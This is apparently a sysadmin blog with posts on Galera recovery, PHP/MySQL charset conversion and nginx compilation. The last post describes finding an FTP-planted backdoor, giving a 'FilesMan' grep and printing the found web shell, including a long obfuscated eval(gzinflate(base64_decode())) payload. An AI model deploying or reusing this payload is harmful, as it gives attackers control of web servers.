Galera SST Manually

Posted: พฤศจิกายน 17, 2017 in ไม่มีหมวดหมู่

State Snapshot Transfer

Copying data files directly Concept.
This requires that the receiving server is initialized after the transfer. xtrabackup, and other methods fall into this category. These methods are much faster than mysqldump, but they have certain limitations. For example, they can be used only on server startup and the receiving server must be configured very similarly to the donor (e.g. innodb_file_per_table should be the same and so on). Some of these methods (e.g. xtrabackup) can be potentially made non-blocking on the donor. Such methods are supported via a scriptable interface.

How to copying data files directly.

on donor server

1. tar cvfz /home/backup.tar.gz /var/lib/mysql
2. transfer this file to crashed db server

on crashed server

1. untar backup file

tar xvfz /download/backup.tar.gz

2. back up /var/lib/mysql on crash server

tar cvfz /home/backup.tar.gz /var/lib/mysql

3. mv backup data folder to /var/lib/mysql (be carefully)
do not overwrite mysql folder or sys folder

mkdir -p /home/crashed
mv /var/lib/mysql/db1 /home/crashed/db1
mv /home/backup/db1 /var/lib/mysql/db1

4. after you have mv folder manually, mv ibdata and ib_logfile

mv /var/lib/mysql/ibdata* /home/crashed
mv /var/lib/mysql/ib_logfile* /home/crashed
mv /home/backup/ibdata* /var/lib/mysql
mv /home/backup/ib_logfile* /var/lib/mysql

5. finally, copy grastate.dat to /var/lib/mysql and edit state to 0

mv /var/lib/mysql/grastate.dat /home/crashed
mv /home/backup/grastate.dat /var/lib/mysql
vi  grastate.dat
……
……
safe_to_bootstrap: 0

6. Start server

/etc/init.d/mysql start

Advertisements

i have upgraded my server and can’t log in to ispCp. it show error massage

An error occurred. Please contact your administrator

Solution:

  1. set DEBUG mode

    vi /etc/ispcp/ispcp.conf
    DEBUG=1

  2. enter control panel to see what error.

    http://www.yoursite.com/ispcp/

    it’s show

    can’t load php5-mcrypt

  3. try this

    updatedb
    locate mcrypt.ini

    Should show it located at /etc/php5/mods-available

    locate mcrypt.so

    Edit mcrypt.ini and change extension to match the path to mcrypt.so, example:

    extension=/usr/lib/php5/20121212/mcrypt.so

  4. Now this

    php5enmod mcrypt

  5. Restart Apache

    service apache2 restart

  6. Restart php5 or php5-fpm

    service php5 restart

Ref: http://askubuntu.com/questions/460837/mcrypt-extension-is-missing-in-14-04-server-for-mysql

Translate database

ALTER DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
SHOW TABLES;
ALTER TABLE tablename CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;

Translate php file by shell script

#!/bin/bash
FROM=TIS-620
TO=UTF-8
ICONV="iconv -f $FROM -t $TO//IGNORE"

find /var/www/website -type f -name "*.php" | while read fn; do
 cp ${fn} ${fn}.bak
 $ICONV < ${fn}.bak > ${fn}
 rm ${fn}.bak
done

find and replace in Terminal

find /var/www/website -type f -name "*.php" -exec sed -i 's/TIS-620/UTF-8/g' {} \; 
find /var/www/website -type f -name "*.php" -exec sed -i 's/TIS620/UTF8/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/windows-874/UTF-8/g' {} \;

use mb_ in php string function

first setup default in php.ini

mb_internal_encoding = "UTF-8"
find /var/www/website -type f -name "*.php" -exec sed -i 's/strlen/mb_strlen/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/strpos/mb_strpos/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/substr/mb_substr/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/strtolower/mb_strtolower/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/ereg/mb_ereg/g' {} \;

Reference:

http://stackoverflow.com/questions/6115612/how-to-convert-an-entire-mysql-database-characterset-and-collation-to-utf-8
https://github.com/EllisLab/CodeIgniter/issues/261
http://www.thaiseoboard.com/index.php/topic,315829.0.html

Compile nginx with upload-module

Posted: มิถุนายน 20, 2013 in ไม่มีหมวดหมู่

./configure –sbin-path=/usr/sbin –conf-path=/etc/nginx/nginx.conf –with-http_gzip_static_module –group=www-data –user=www-data –pid-path=/var/run/nginx.pid –with-http_stub_status_module –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –with-http_flv_module –add-module=/usr/src/nginx_upload_module-2.2.0 –add-module=/usr/src/nginx-upload-progress-module-master
cd nginx_upload_module-2.2.0
wget http://portage.perestoroniny.ru/www-servers/nginx/files/nginx-1.3.9_upload_module.patch
patch -p0 < nginx-1.3.9_upload_module.patch

if your computer infected virus or trojan, and you connect to ftp server.
then trojan sent your password to hacker.
unfortunately hacker upload backdoor to your website.

access.log
37.130.224.202 – – [23/May/2012:01:18:14 +0700] “POST /6/error/errors.php HTTP/1.0” 200 2762 “http://www.xxxx.com/6/error/errors.php&#8221; “Mozilla/5.0 (Windows NT 6.0; WOW64; rv:8.0.1) Gecko/20100101 Firefox/8.0.1”

find . -type f | xargs grep -l ‘FilesMan’
./6/error/errors.php

<?php

$auth_pass = “”;
$color = “#df5”;
$default_action = “FilesMan”;
$default_charset = “Windows-1251”;

** or entries similar to this **

$auth_pass = “47a85″.”6c68”.”e623468d84123?.”e87881d1e3?;
$color = “#df5?;
$default_action = “File”.’sMa’.’n’;
$default_use_ajax = true;
$default_charset = ‘Windows-’.’1251′;

preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/tq/+jMvqywCvv6P39j8FOaR264O3KnccTazAlD57ZsvQqCke9aVWad+vNwhg/vTo9eBDE+eU7XCftj79oN8fU3Zzpwb/DpxJn0fPhY2eKoh0HoOv1xWS/CiVjJwccKh8EfD2iO4nAWRMtorsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J+woyBmB8F8OrAlZfLHvfFi7dPd//wN/t+J3Cjygmk3ip0wLmOeHTcMg7AburMgjL3pqFynr97U60ZuXLZ5sh+M7OrRh7dvzUT43CWAyK6m8k2cm6574/bnMZYXexNXgkAyvXd9b+LF5eTjxBl5/e4f8yB2o244nyKQSB64Q2/qlm1ov9PD4yO7yuxmbZMqjU08SucezfplwQmPhvNpH4lgn06PoS+8WeQ70diFHiGW4ECPQjeeh1PmRV3OKDLxOWccQD8r2ykMNnYcB2uxPNRA3iNo9kel7vvj0zNgwgwJlIBwAKYIXUTB22DkTcuctoHnlq3tPjCIG3a2gfUmbOLG42DQBr6KO++dKFoE4aDFtr3pbB6z+HbmtmfiK5s6E/7W0ZOjeQ8an107/txt252O3dneQMzwRxRkCaqwfde8CDuVIQ+fYgecTwZP0xz9GmoC4++SVWAAPMJsfLBCG83jcRdJgB7597+xtctMYcQGOLcx1Yas7IcfWJlx7HpKhcHIMBDBf4hpNZLaLA7nLnaHC4ML8yVtDF95LaFn4sAPFjDKGLQPvJbfv37fPT6t1qubWCCQYC28qUUllwKcVWx4twGDQCs+Tr0b/FiKnKHbnQQDFz7S0Bjh0FBfiX9LAy9yYHLpyu6PDOBMKs80DmAA9RcDhAU4eCrLwZBq2T41K1K80x8PvLCsJRCqfCxUE1E/zoZ6mdA2OGX4Th9Y8+ICp8gN+KVAiPNLy2EFmGAxfD0HUN+dlilpvXEJ0yGzN2ze3IisRu+ywwwSEcTxPQdmODXZYz9bb70oZi+90O3HQXhrsXaHWdAMVpVPjo+sA286YB7O9LXZeAZPrD8PQxgEDMEkPNuI2MaCbfQS0BSKH/vBdOiNflwNiw6dIDodBwvmQEdfuwwApi7vc55/6sYwb8ds3ZmmcsBkOYW5m8FidO313QSe0USfQH8ACMDfhyUj1qBwFUuh7AcTmCzcUIO69twFQkGj7p68Z2fIlzzVCWdAlUg7fM/2qG7z0EHqOYg34xVmG47vWwBY0UZNtuOADtF1qvn8iK37Y1mKj2lDz3eZE8OM2gNaIwZzp8PeetP5DTQFlDeAZTB2ob8GHDS6jWJ3ItFhRrZ+7fCaA84IKx7M3CnA43KYbXf2bzYCXmbrHkMC3KmgBhmAAytkQ+QJqCtMJR4vXqCjhA22jvMwG7L1mQsT+nr9Sb1ehwpGJoIkcy5LEUxtRVxEzGglYpr5xIy+hZh8XJwbat60T+NlCUm4gKXA81D9eC+OC0tAXlhLEKxUteX4sKEXoRfjAAFR0Qe5DcTDaW7D80Zq5vdWMZKlVC7FKeaI2mwxuLfFNNgUJ6SRrN5qhTiRuNo4JsHlftIUpIkkhWB1sgrwEVE9ENa6YxjvsIDcT5gOnSIui+gBBBbjJSKHsH6PJ47nh/37adSAUyRm0DyAwhRWnMGDvhO7qZnRp49sHMezQQ2HkE5vJlHO9/z79RhE3qgol5ZqZpuFwXBJaXpyKmN024M5pyhfkmpmm9wWZREpJrgzmHhTcx7MJJk5+sNRet40U1LgUGQRvEjKZoD5duDEBVl4Ym6m4nK8UWFJMLMXZ4LEokyEMD9Lca3coTP34+WEakB5SORqkZPVBNcZIelWmz7bKdDUnKxg4XsaNPrDzwWF72nQvDlVwcvEdKaiOU9l1AHSmSe3QMbS3AZEOnvBVKYya+mprD2nfzXP61SeYAIP5pM8UPycnj2869xZw7uWkqy5e3/NdTV83wQ7Fam1EhuvsRPCFg22X2IHm/oMYnDp1dvjF7tvT89twYZdlYo7q5Ef9Bwf9kywXQ1pV9sfB8zaHscTv7ONmqLO9sSNHZpG190/5t512wahHATWeP0M5mwbWRXf2nYMIvIGZtxiooy2BVN7lqoas+zOduzFvtvhEDl7bYRaRzUHQxChrmE1a3uDZ/yfv21H8S099ILB7Vfsl1GIGqx1qkzr70+ePNkSj24D/9u647DVeFCNx19BFprGLfbzLGZv531v4FQ/uuHAmTpbEyeEDX2rvnXthrHXd/x12FeMpq04mKUwojqMBCuYJobBVyZSh8PhVpagZrNJGaKZM62OG1VHwov2Z2veBHcLzjRWcJzK9YXrjcZAbI/EN0odN77Cawiv6747jFtPZ7BXCXwQrEVvzpzBAPZyLdaEFEjd4vVtPIEKy5rmEynrD3mwpIF3XRO9/JUprIiRA6ryc9Btbm4SDqgr8sf6AHZTfDfXmgZTl6e1xgG0dBYC8Lih7wmw2sRXVW41VG2pnyVVCVHQe4h06AeLFnPmccBx9LyRE7pAzcIbxONWo17/x9aYN27zqawwqbeqSA3CViPXh+3zV6YQL+3lp0+fbmWIFF2isdy7YBpAB/fdKoyneejBdvrIXdhUPurPkuIEUX+Pg8CPznq+aCfOklzHxutGAIfTmawc26xDZt50DghfwPNaTuy0PPJd/G8ryRSK3ikCRUjomNzxB2mz0P1KLDx0Jp5/2xKVrar6Y1HbG3Isb0f90JvFHa5CuHZC1u+iIgwnAZxbopnb9xyfJpNyMrn1Yd25rNDMspVkdYqz7shpyaF8lq0VyCeqFfIm8y9i0AqeNVTuclmo7VWuWcO+rFoXU6uy1m6Tjr7y3LZbwMFSmZutqJa1UsmU1lxWWvPBpRl5c4rbXFbc5ncUt6kXl6jbUQvpVPvVWaM6a1Znm1XR7kLhDsuigwq+6dz3K4OgP5/AmKhNhjWnxrXSzhaqh1huUndLoOjnougLuH4WhUpSKGaNXByzhoCcNbJYtMQETzMfT1OCNnPwJIkJns18PJsSdDMHT5KYNA1v7vwG4mmyLfhbTmPlgXXlqYbq6dGyfi5kA6JTL42fSZQrGfzOt+MnzndCZ0J6eed356aNJwHEqY9gwi577fqWt62TAcsGPkY1352O4vGW9/gxyWmPBJ7HgOgH+3FelnPvsoZb4cd2237sTvvBwP1wcrgXgHwwhfRyUR5qX05wFJZpjGpDLxG0TvZ//bB/etYFpGL2qoraZRsNEM1DX6XLQcfKC9i7B4va53dvX4N0eALSoRvFvIah+wc009RdMDOV9wmdnTANxS4pqj8f936HhTaNwUgs2++8fhhEsM2mgkFgNE4sESlkzRx6wrdaMIXVfHCLKlgQc53pCE9TYMfed6MI6NujT1s5+WbutGzjHAWtRE2BPV/JgQRuERXlgjsrm8JyFThnNvNBpMSW3bhZXywW67jar8/xvAK7OXsAyxFPB+Wkg7TDWLOv0rUpJ3MktUuNWuAUWwBPPJ6Isy9Mp2IgYU5nIc16XWTlrB+6I9EdJ+5o/2ZWvrDKF/AzeFwpn+PDKf6KLn+s4LmMPbF5R/PMThi2AUENj3EFFREwcuSegTgiAV3g3TJAnjcva+LQrF7FrOcNWBU40B0jznF8kMvLtmhqRgfHa7bkXBAmpAwhdjAo9He2QYxlJGa0bViyPJIwnR7IZ/PY3dLEwfydBMj+IPmRpFvfshF3+vyUH5BOhrKQgRfNfOeWy7mUQzs2HXuDgTvlWZwlaf0labPGssTmssTNZUXyaQ8h+EmuRWdww9B1T1FgwzM+qNsVfiAJLiOHEXwcxI5vZOjSp+6qebS359pzq0GgIUx7TkS4Z+NZd46kl+2Qc0Hpyg2nrp9KjEQiyKGwqbjCeRy3ta2NDfiyqIcT2OVMNiIXLTdQW/N8EExHbZrhNfMLm46F8MSeF2LYWtA2XOKvtZka1mXG87FfOGU2zMyCy2VVqvXqTzAe9bPlAlSyejVAk49oUyACutfk5NB1b7wohgog99/gobA78mC6EeOcLFDE+W1X6Gm7+E3M2SU8QOLJk1t4lp9H2ueR9hlG0AwSrOfEPmLkftUxKTpmC8SXvLuE3sSvEkfhyAQeacCiDljCuY29ztUcskj+HX7Jz5JKLMXMwIvl30cyw504P+5ip5AgQNxRmjnxGN7cm5mPHcSPpfMYfNqmE9My5aBPKDqUUHYoedul6XoD/oKYIBoqKQoYwNp22Dh0h2377zYLpn1YRq7a9ghm4gPUKL1zpjD1XliWkkhKvyPa37fbJQ/+SOHDREqEnJd+v6zx8/BMoRdWxe5YNQEHIoa1sb3h8DmBNwefLpIzV/vD2cH6M1zrPtHqHq03mk8b+P7L8eGz9RP19AGf+rNnP/0kBmYwU+qppHGVhZRKQfsoL3YnfLQZmfBcfxu+4FrIZU3LrhFwDYQhu5ZVnbXblPzc5rt8WH9btl2p2R2Vb3uDI+zwvp4kFT11+zV2OB0GdruDL/RYtak78JPsFxv3+FNYaVz8Kh+r9ukfPuWEP1X7/XiGL/gHUpyhy8iyA9Ph5R0+w/c4xON52ulTEr2f0WvVfhHCUgbt1ads2lvVPnLjRRBe4Xf5qCYIoVRU/KqMY5RicXJuvw1GwZzrFOUzb45zqLk/BAFhEly7PB0/nPB3DuNO59n+nFBHXqEitHQtykFA6kMYT7QkY/+VvWlcKcPavCEGz6QCHfQPq3PO5JCw/m6pIWHBkLCh965r9oVdxR1L9QKf1K+KhZ17hT3rdNjl9kY8Fn07CEHSRNbjowiFyaRZArQrMi1ZVGVYSNKW3Yem/hMSsWaEjC8JiMiLumQ0Q59rdusCCBEjUhRLFS+qkBrjWAcgX6LZoPqcs+QT1gjqZcsRSipdaFE6/+3DViBqo7KS9V3fF3qz9ia94cqMb3XR9igOdbbjEP4N5KfONqolOx9wrmxt98IOWoLQA3Au/X09GNDfvcWghSMuvwGf2wjzkmreEmMOJDfEDR0ygB7CtkG6QYCbBgBrS7FQW9MrVQZCYqNZh9ws4QaxrIN0XRuRmaa2sj//o23XksVUR1bBSSJ2whGqrrs935leQdNyQ0/eqKoEaG6xNmt5eJbOuRAnKMv2BhG/TRXA9QcILWNv4VIFzxXGG/QVrkQt0QKYPkpAaZVCWI4FSb52Q7S/LGO9OQI1ZWhItMZPbMUuoelRI8eVzyCYDzrHRyjqTeMOdISe9vd6vder14H6zvHBwfZGryPhqFzRGH83ORX4IDXukN0EmwLpxHyiOYnQl7AbQRNNjfABfCrbv61P1gfsdctrRcQeVPtFFHz03MWp9ycIkYlYmDTEAcilGioDXgmxCF6WU0vyeUPD+COwP84zotWTdRGyEtr3bjiJ9rChMtJsceukx7HKKC3e7MuaMVvJKeucIQRvOEERnzdw3JgDRo5VRpredojqbTGItvkyhzTRBhGJoq7K+xWPvUioFKwOLqtcXPKdnuu3rfcObKDFOkozqr4Si2WTMgDT8FKJbsGtbggszA7fy54SrK1UFBb/2919+fLEuuSdz7Pu+R6aEKSz6sqNd8dn+5QTG1OOQGwk+EVPOBdqLUZTI9+2WeJMBfd7zeSQAc8xrIdMmThBwGpGnZMUqW1CLaHff2rR4nOXPvo7CIJYHf2VYPVQNjxtpr1lWO+5pY/gEXD2FHjnE4C7lPtSDGGrZaWngXMyA1flKEihceBng7gthFrg9jCzpHiDtjylWLGtmNwtFze7SOkFcRxM0om4r36E7Y1dSWsFbctBxCIdIMrHCSv3pX5M2GjTpg1QCL7iKiFYpHXGErtkXklbHrHYfNuMxyli0ywtoFc8qMAT0NWsqKFOBXW7gLHL5xMhACY1HebW9MISVT1xHX6I/w01HT6McM7+xR2UVIIEZaqCPbmCXrB5VQbLq/LOufrWPhusVhN97H1fd2DFsNXtpZX5z/ZLXm1W6iO1bblvPKna7JPXhvs9o+nbR4lQzKGyI7bZ/tHe2W/v99v2ZO7H3swJY8q4DnKGY/OcRco5WRzn0d3pcnBjHkgNexr1yzLPGjL3fOYHzgCLvKc4cTSjFVrmZvvZM8rnmU8odXNrDCqDC/ZU8sOYkEyi/xomlOskLTEgcJLmlqxKaBm64xb7IBZn1FqWqU6yuAeI9JlKzGAybhCXVWabee1KWx5eousPS9TrpsaqNMNUg/nZHRkQ3EMh6bC+kULKez+FXE1WSKEuaezflEveVAgasLFXW3VvWM4oD1GHr3SGO6TRh8xVzCd0cBzDzu+BNy3jSXCSdoc6wDykqGyIx+FcIQ56mmcZlCMBiFC9GAAkfaXvOtPy8kK4zX5hETz5uwoYg5DTNRpIIElSFH6JBUZC6EbBPESd+JBrOvG8CRvVCq1KCpNQ7y3GMOTKaztDNxhCNqlIQJhamw3xlAc+Vxv15hNem1nfDyIsQZ3vCabAPFmvsWTHFCnbs1LEOm3WqP9z859PGs8AsebtFs1C2EkNy/Y/GrXmEJXjEdvQYFkFddWvXthSu63he/Ls6T9/WgUZAbIKqb3f5aJajSgkh5D8kiDRsgEUJr7Ilcppz8eHlVAQwQv7gdVv9up4ZNZuy8eSh+Mo0shMYHcT2N0E1s+FfZbAPktg13Nhf0pgf0pge7mwTxLYJwnsIBe2mcA2E9h+LmwjgW0ksDMFy/iHOde4ecivKm8dt9zsObNDm7WwkpU8oPozDrRYCvSEgJIPzwTqiHLdoOallZN8KpHmY22uQl9jFfrqz0z6niyn78lq9NWfrEBfvbkKfQ2TvqYgIM6nTyafGfTJIeVlpxhdezJMhtPaDs2IzoBvbsXUJvCYyqmDA6Cy3kl0MeUdlERmfIgOK6RR5OoqnVGphGT7vKQEmGVj90H4C2mt11+8WJ1W7sqYFSCivjNF14lKyiFZfC+X4JdcLwZjhssXrCUqJVk6WJkfWOLRJRQPX8jxos2w5Tn8WCw95Mr3iGCiczIpluCE7k6fOQlILDCp7v409lDpLyZOeWLGpQ97gYmo6ZylDyXonEzvIPqisRYXasziHPojDmSEBkUzpt5KlOLjhtRERbBXAZ64ZajICCdkoAGCZ4OrbLjcK4xgO6Z5GmCGot6jcUa5NK3iYYbogmtyF/bg83VFGlOpVEkCidhQ9WnNbjEhcfOTOASX0uF1lZFVHUys4rC5IswmEAuedZAWjOeTnKjKmIVSTTPxGx1+NrK9AV9FDmFHwptJVcaWTRMM44UTovkKHvO602tI4tq50+ODs0+7J/tiuBu5X3I5dsDev37PDpQwq5+M5oi6z5emtmy0prCzhR0Dn7MeGgSQ5kDze8YR0MUUTMghU+nNGcpnmexKb07iW/deJN60788H7hI8AqIIVf/DyVsWzWdoCQ4YMlImsKnfFep/u/LchqGIrWxj04ipHOTYWZufUVaK5HjuN8FFW9SndpHvxYkUIaCxbr27Pf3DZ2WrlgtfrtSsilVYRIRZhPdxDurT01/fFmaejYpzvoc9/Sh0l2UP+l5x/uPQAXneyvYib3VgWdQLIM8gu3oTfqqPp9XAvIimos8hYtwJK5Gc4y504me6lcVw7ieHyKM+Hhr69Js/DuDXxLnCY9sZnQbDKoEnxLPbeBzgYXI4793CH9i9wO/Rnx7C9JI/Tfg7JUzkXgIP6PxLSMTWZoCazjCh4cq5xjzBYBPz9gb9IHSRivk1riyIgAAG4cLt4XeYSyb4N7waz9H+HD+Nr8IgiK88YFrbm9HiGtHjcIG0ht5s4YVEzNhz/QFVlXyjgZlCrE40JY6HdoO5GKn3BpEzmGDmPvbACGFuvAFVbNQfu/0r/rhw4v4YE2+jiRPhxz8nPSB8RoQv8JwOnhYwq4vaTL3p745qi2AxRZUHesWqBlkAowMg+QdhIbfTG6JoeoV1wiGILU8w/mK2PvHQBE1gNFjqREgybANQbQgPKZwXNCHH1tMqz61bN2LLbT1IwYiGdhcW5eWPHAMZbJyjiz0dFVnJvLCMsmjsQEPkUybSHkoZZOUPPP+qdB2fMjm7ATUoUfBZh6+9MLQ30MhxQ82AOShg5YlDUkgVocBqeVE0d2tTN5Y4UOzIPTBNrdjJQpuZaZVFACurkW6Yq1ApiThE3ytfxdzETVG2SKQya/SB40rPRtpkdA8xYsT/FbS8JFTfQYo24P4SehJ8S4lSvbfRsVMmtga+1y9fMrJRBBRCPh0M2fpYsolZ+mt0FF7GZuRJLPPepUzh0pz/UXK+KBi4PJfDd3nkDXbqxhhrKVIZMLyGDMuRm5MCd+xKCD0b8qvIopmNkCLWFkulPJPMaEa4xP1+PEtcFZmph0aLeRVUa7VoOzWRSQu6k9bakdGw4R2zpdZ6XOmVnTx0zD63k39xezgoo5HC8TyezWHw1+gEsibMddu2vbVSLg+Ei/D12bu3bduqwaapX+jgYqoQK+gecxFexBcX9kXdqqC3C0j2vDrY5jJ2DfEuF/uF2MFheDwu6qPUpibb6uTBQ2pm/QtJJVzek/2R7IdQWse0os2PcLuszdhXYR4Nm/CtO+nCZed1k7D6kLahMXVORrMqR6NIh+3JSMX7sdfKeBbwb6d1sXj8b/LiZPEA/o2rbNyAf02oSO3Hu7VJ5H2AVRnH/mRmlJfCx3Ozr+XajxWVreZWWQ32WrUx/qP0UuNORya7KME0bkDGcVMA1cSQUavEXZ7nrhgNP/ywZn7nDl6kj37gCJH7YL0r92XYNNyCraO5U2Gn0pkZP4QaGkbt6hDQgkrQqR8WWSPxyx1UvjqmxQ8/F4SS5NEg6bm/jpZCcROXrTtjS291tqUHpjjrwu0VJ1t4caK9AWDdgwTY1Jbz2vL5cl86aXcmSyo+vtqHP6blBtkqPJ3dWEL9Q81uhE6jRuoFN+IkEdpNIGugbdaDevi5LVpcmqcydAmBORvNQXff7H6WJ6G41efNwmcqSTMUmNc8KS8FjtysH9q9JLqDlH7G4Nvcg5WCKZqa676pMr0WocbiQSuSNCy4TwmEcGziTB2QbIonPu5WMmt00csOPeTalrWl3E1WaJpo4cUo2uhJQrbso+5CP/dtKZFobQdNabs8zR10UdIAHAeHb/dBTh3al+c2zDxdbr0OS4WRwr+KAyLR7NYebINgwU+Oetcs4YXTg0FwtaVRxE0xDGKu9OBv3Ec0B3sfMMUuuQyhyrII/8D13VjVVnUf//wSCyIVoPRFUprDsnR6wPfqeqPSbtsbNqqg6UuLfiuj9kdZhaiywMcfoRRlXOpM6UGZ5uKREPJIgvKSuHgq0+gAuIwaBLIs5bIshf2r1SyMXViQaEmHLPxBxvOmQvChEilKTpt6DB9FVqNUAdPmsekSZFqDmpkSZSH87MynuMlNwdyJv3SGKFtFJoaTTHPeKW5RUTCVk+9QYxdlCp6k0Y5gqLcynonCfhvDAgzUAeajBD+VPqzk1nR4XzWH6Tpm+BM21bE+GJNJ24YpRshS/WB2aydEKy7G713CUC71q6WoWoIVM4f8fq0UVZKUR2KIDfCzqsGjEvL9jmLgvpkqWFgcIiv+HVd07lXQ4uhyiE69xHYYEEy91+QJwyPFilpFoFwcWNXSECabgXjTKFH8IrY6vKJ81uI11XDvIGr+XWBLMN2l+C/hF9UHCcvITDqpCVwfZkaiN8crRyc0t3vJkyGne2la/v+7d1je+S/2L9SdT5tG59ZyOreWDO/l/Yuq04Rm9HjHhV/pkr94s10ezNmuZByL9Z8SIBJeskmectqfV/+hGRtyrXe4kzEIKF1h/W79Nhl0X3sR7BDtGil3GVmr75BAZQtZ+cvh+92TvdeHH/dbrb2T/d2z/S27spxK/JEBXPUmXEanEao6r3fuK1DEsE4YJd17lcr9CGQbr3eA+w9y0VQZ7/T70GiMm20JImeVGhFBsFSGThyEyj+6Pw8j6PhD8V3+LRupKpCsSi4NaaCtQr3WHVxk4QSQP5V72+6U+OZr1Spk2xVQ+7iilxFfhXxdb1cl7O5+sHtA7lZi3uxMfn/9uBXUMtiCsu9WmUfm0/+9meS7RidWKJmFvnEwcAywkQ6hRc6Ch3bQQzrpHia5pw/5n/mUK8r05qpkdykibJq2AcrZ3pGGzfikiYX//nc2hUsUeSnEQXkJgrmUxu6RrkSVTMiMKENbWbihCTVMgJYwEPfRTJZgE+S8dHVZJKObrKSX3FclZyRvGdUCbVZE+AzMKY1cUvbNhmWzfdnKk/CQv3Vk2m5OKAH20CMrpt0hQ+2UCJS7Zm/pSgZhSbtF5MnYeVEQkkKWHpIjRHH81KjcrxbAWD2onJzgQWbZXou65fPd9T8vH1e65YvB18ZdZQ1PnvX4UaxEwNLw0yiaJ503LoXEIN6bl1KfIoL8qTAZmiGRU048W9Mhbci6pziqDdSiABQj08htqS2VYrZgpyV5hMoLKlYEVFdAOcE/uHsS9zWy0dnIlvbrGNnMNnyS7LpteCzZzSTGB7dspyCd+nUJ3DF2rArYnN2Y7gpK/aeOSbF5JRH98VXvpkPOx9v4bwXnfu5TaUWk6ulatTL1O3T083qrUalxX/0jSOOOp9+COfL+LMSMBsHfjnkSDLzhbRHud5RqYD9eTN1wg/xiv61EMq4rKhCN8Dy6wyQySt3lpkb8HV0SePQTmD0iafuW2AmIoA7wLjzTk0kmJ7iDEdohWOSFwED0AdZbR4VhF1Q0jDAvGAZmI1fLomz8BESfmWhKN4GrYtJGpUc85hDpHVVRDt67lCfru1slAid0Dcs9GCsVjQrsP0K51Nk2gyLBgNxMCIiAiAzaV85M/cBbIVhIRepz7bm1pLsSNNQvHM0oTNAkz60l3SewKPuEZP90XzPydSGx2hSXz7jhCN2mJ7Oq5IaYorgCeTZ3TUsidInyuKZstfJwmKxaHOLNKS5Hts+URgea5jep6fgGQhJDPJI6EgsQtEcii1e5xOs2n3sT6C4HFuJesoqn88L6RFePEB/KuGbcNyEO+4BAuymm5JznZAdO0q+TKfXygSo/ZsuG+a7RWm8kDayXX8byOF2XbBsqIV9Qg77eYC0QXO7BiY01x+/cgDiqMos3C134I5OwI1Ip5iQq+4YD8jQOhkZydSNkCM+oq4hlcIsQgx34z+Xi6jfkORl5BBaeyVnD80sriRSThIUoDdXRCQZ4SC3ZA4426+EPVFBWYq7LdluMqee2cv3nBlIqPkJhmQDCLmw0lxIBS7IHmQl4y84LLTA85xM5BRSo4IFqjwKFLMPEw4f0OvxY1EkqW1QzM7yC4qJWAlsRAQo4FvwuFovLTAKfcikWEb3zuVOHWxZV4QFNewFiKFAhY8FgS9Fic0ljJKe8/HgsD+tMrrikMk/MaCJ/AfI4mPfHhPsMcRcy4l9aqDvwYipz/y+vj7QSI/QvqUrqsF7EcRDxqnCagKFf54Hh7pIg5iJwTT9AKX/a/id5ma7m5utwN9+VvHxX8/Zfhi3lxPtgH16JX8T2IKS4TeyYobC4PqKzB79VTKsUBOklQBi/dosgxHlt5yX9VVAyRsRylVeilxFdZOJGBUcHg5yGbhSxMrxWisjg2pDOh2k/H1yjR7vqUVeWgBCxI6R2Uwd0H5X8RBBvy4tdtsGg2EypIp8Me/LDtBfNtvTut7ltiW36RicBSqRXu+YMba1m8aBFBEts8bIxAMfuTbOHcawARmEQH7mXjhAUBm4fP0HSAL1X0Zry7i5p2wxiAAZYEy//lkaLn3p4B5qGtphYJ+p7XpZc+oz5v5ZCNN3Td1wgN711qTa482o3EaYGoy1MakMR7ejPY4oyKk2QSuEScqjMZqaW6nMxOb4g5/HjkldBYjQf1Xrzs10NwoGgqqKiKpD4N5/NUPwLlzXTECbWrppUTeLMtIdQaP/DroneWpW6UpQwoXGHnv3CidyfnjBBIUnfPfrUFZ+qOhjXJxpg4hMH+xD6Bqqk7km6jkOpKEX6ATRKEldTbILMRuSAk8FTNnYivifGN/E9GjsNLQFfRUo/vJ3F/Ct/5J/3TvY2m/JzH70t6PPu6d7hIYsD9nr/M09NeIxDQAKmEyCHSAaFAfFyf0+lD9CPQk98cXiUZMbhz1Mhj1E4724zUWXlE4LsqMMjI6cY/UaioogPdpGoIhky2tkwtLYQrai2OxlQ4rM0KH2U9UytxaK26a8GXq7HVAjhldKl3jbXjPmvtWLGUqbyulhTy6uNJLG15Q5/GpRpirWi/TPg/Qb7Zz3X/4P2z5pTJ+/afjAVfiLRUl/Ob7DP/VbzXCEaJIplHkzlAN5RpXkqwlYVGdumgrNxAQPZQ1jS0lcSNNIGuN+Qk2XiZOkCZoLB5sKJ2qbr0386xmeuSGXl7EmvSay1MFCnZQhYCoeKKrdcsNrorGqUa32fUa6VNcrFyDmmFbNNpNgy7Jlpamub9s1Q+3yjXbt136UddFGSMmrWbIPlCYjfUDRYq5sGW2l6vUFbmxU61kqHXStNdvkGwsUTn2EsbOm2wtQL5OmN8T/p9hy8i5CUSa2ieYEiImXDYGnm6wsRmUwbVIhaH07SU74wTpaIoKcfPDWyB1PihOlp/R88UtMjMyar3YDvGEq/lagt9CGBVNlysqFn0fFJ0Ht996GXALscgLgfLW50tf3rSlviB1BxRMFm76VCNrci5ceHFJKPf+lGjedX2zQVLT+lKlZGP6/8oGcYNKOHv27HzNYbFXFZtVBkk3FxWwXnxle615vrTudT74+5W97RNak7I1VKzbhaB933kyRonCrDbukeH7397eXhSSVxg0wur6fytK0yf5cmCGrG52Qpbz5poaCr9IU7X2IaQ5nW2rr/H/mqpVpLt0TWXecEenkBUdb9juesMnNmVNcSKcNgvpis5NUqjhYtXXVFpeChIrq6kr6WR0zPjgEBK